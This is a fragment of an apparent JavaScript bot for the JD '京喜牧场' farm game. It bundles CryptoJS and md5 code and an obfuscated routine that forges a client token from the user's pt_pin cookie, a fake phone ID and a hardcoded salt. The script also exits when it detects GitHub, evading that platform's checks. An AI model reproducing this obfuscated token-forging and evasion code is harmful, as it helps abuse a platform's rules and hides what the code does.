17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env('京喜牧场'); +$.inviteCodeList = []; +let cookiesArr = []; +$.appId = 10028; + +$.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!$.cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=$.cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; +function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete 